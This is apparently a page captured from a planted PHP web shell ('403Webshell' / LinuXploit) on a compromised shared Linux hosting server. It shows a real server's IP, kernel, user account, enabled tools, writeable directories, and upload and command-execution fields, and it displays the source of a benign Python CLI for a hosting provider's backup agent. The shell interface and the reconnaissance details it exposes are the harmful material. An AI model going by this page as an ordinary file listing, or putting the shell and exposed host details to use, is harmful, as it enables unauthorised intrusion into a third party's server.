403Webshell
Server IP : 142.11.234.102  /  Your IP : 216.73.217.78
Web Server : Apache
System : Linux dal-shared-66.hostwindsdns.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : krnuyqrm ( 1183)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python2.7/site-packages/hw_cpbackup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python2.7/site-packages/hw_cpbackup/main.py
import logging

import click

from hw_cpbackup import SharedBackupsAgent, __version__
from hw_cpbackup.util.log import logger

try:
    from pathlib import Path
except ImportError:
    from pathlib2 import Path


@click.group(no_args_is_help=True)
@click.version_option(__version__)
@click.option('--debug', is_flag=True, type=bool, help='enable debug logging')
@click.option('--dry-run', is_flag=True, type=bool, help='review without changes')
@click.pass_context
def cli(ctx, debug, dry_run):
    """Hostwinds Shared Backups Agent"""

    if debug:
        logger.setLevel(logging.DEBUG)

    ctx.ensure_object(dict)
    ctx.obj['dry_run'] = dry_run


@cli.command()
@click.option('--clean', '-c', is_flag=True, type=bool, help='clean prior artifacts')
@click.option('--force', '-f', is_flag=True, type=bool, help='force backup process')
@click.option('--no-alert', '-n', is_flag=True, type=bool, help='disable channel alerts')
@click.option('--user', '-u', type=str, help="target user")
@click.pass_context
def run(ctx, clean, force, no_alert, user=None):
    """Run Shared Backups"""
    dry_run = ctx.obj['dry_run']
    sba = SharedBackupsAgent(clean, force, alert=not no_alert, dry_run=dry_run)
    sba.run(user=user)

Youez - 2016 - github.com/yon3zu
LinuXploit